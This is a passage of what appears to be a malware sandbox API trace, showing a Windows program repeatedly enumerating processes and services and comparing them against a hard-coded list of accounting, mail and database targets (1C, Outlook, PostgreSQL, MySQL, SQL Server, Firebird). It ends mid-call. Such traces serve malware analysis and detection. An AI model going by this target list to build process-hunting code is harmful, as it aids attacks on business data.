Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.420] lstrlenW (lpString="explorer.exe") returned 12 [0189.420] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0189.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0189.420] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0189.420] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0189.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0189.421] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.422] lstrlenW (lpString="dwm.exe") returned 7 [0189.422] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.423] lstrlenW (lpString="svchost.exe") returned 11 [0189.423] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0189.424] lstrlenW (lpString="runonce.exe") returned 11 [0189.424] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0189.425] lstrlenW (lpString="driver.exe") returned 10 [0189.425] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.426] lstrlenW (lpString="spoolsv.exe") returned 11 [0189.426] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0189.427] lstrlenW (lpString="taskhost.exe") returned 12 [0189.427] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.428] lstrlenW (lpString="svchost.exe") returned 11 [0189.428] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.429] lstrlenW (lpString="dllhost.exe") returned 11 [0189.429] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0189.430] lstrlenW (lpString="cmd.exe") returned 7 [0189.430] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0189.431] lstrlenW (lpString="reader_sl.exe") returned 13 [0189.431] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0189.432] lstrlenW (lpString="AdobeARM.exe") returned 12 [0189.432] Process32NextW (in: hSnapshot=0x124, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0189.955] CloseHandle (hObject=0x124) returned 1 [0189.956] Sleep (dwMilliseconds=0x1f4) [0190.972] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b5e18 [0190.983] EnumServicesStatusExW (in: hSCManager=0x8b5e18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0190.994] GetLastError () returned 0xea [0190.994] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x920138 [0190.994] EnumServicesStatusExW (in: hSCManager=0x8b5e18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x920138, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x920138, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0190.996] CloseServiceHandle (hSCObject=0x8b5e18) returned 1 [0190.997] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.998] lstrlenW (lpString="AudioSrv") returned 8 [0190.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0190.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0190.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0190.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0190.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0190.999] lstrlenW (lpString="BFE") returned 3 [0190.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0191.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0191.000] lstrlenW (lpString="CscService") returned 10 [0191.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0191.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0191.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0191.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0191.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0191.000] lstrlenW (lpString="DcomLaunch") returned 10 [0191.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.001] lstrlenW (lpString="Dhcp") returned 4 [0191.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.002] lstrlenW (lpString="Dnscache") returned 8 [0191.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.003] lstrlenW (lpString="eventlog") returned 8 [0191.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0191.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0191.003] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0191.003] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0191.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0191.003] lstrlenW (lpString="EventSystem") returned 11 [0191.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.004] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.004] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.004] lstrlenW (lpString="gpsvc") returned 5 [0191.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.004] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.004] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.004] lstrlenW (lpString="lmhosts") returned 7 [0191.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.005] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.005] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.005] lstrlenW (lpString="MMCSS") returned 5 [0191.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0191.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0191.005] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0191.005] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0191.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0191.005] lstrlenW (lpString="nsi") returned 3 [0191.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.006] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.006] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.006] lstrlenW (lpString="PlugPlay") returned 8 [0191.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.006] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.006] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.006] lstrlenW (lpString="Power") returned 5 [0191.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.007] lstrlenW (lpString="ProfSvc") returned 7 [0191.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.007] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.008] lstrlenW (lpString="RpcSs") returned 5 [0191.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.008] lstrlenW (lpString="SamSs") returned 5 [0191.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.009] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.009] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.009] lstrlenW (lpString="Schedule") returned 8 [0191.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.060] lstrlenW (lpString="SENS") returned 4 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.060] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.061] lstrlenW (lpString="Spooler") returned 7 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.061] lstrlenW (lpString="Themes") returned 6 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.061] lstrlenW (lpString="UxSms") returned 5 [0191.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0191.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0191.062] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0191.062] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0191.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0191.062] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x920138 | out: hHeap=0x880000) returned 1 [0191.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0191.066] Process32FirstW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.067] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.068] lstrlenW (lpString="System") returned 6 [0191.068] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0191.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0191.069] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.070] lstrlenW (lpString="smss.exe") returned 8 [0191.070] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0191.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0191.070] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0191.070] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0191.071] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0191.071] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0191.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0191.071] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.072] lstrlenW (lpString="csrss.exe") returned 9 [0191.072] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.072] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.072] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.072] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.072] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.072] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.072] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0191.072] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.073] lstrlenW (lpString="wininit.exe") returned 11 [0191.073] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0191.074] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0191.074] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.075] lstrlenW (lpString="csrss.exe") returned 9 [0191.075] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0191.075] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0191.075] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0191.075] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0191.076] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0191.076] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0191.076] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0191.076] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.077] lstrlenW (lpString="winlogon.exe") returned 12 [0191.077] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0191.077] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0191.077] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.078] lstrlenW (lpString="services.exe") returned 12 [0191.078] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0191.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0191.079] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.080] lstrlenW (lpString="lsass.exe") returned 9 [0191.080] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0191.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0191.080] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0191.081] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0191.081] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0191.081] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0191.081] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0191.081] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.082] lstrlenW (lpString="lsm.exe") returned 7 [0191.082] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0191.082] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0191.082] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0191.082] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0191.082] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0191.082] lstrcmpiW (lpString1="mysqld.exe", 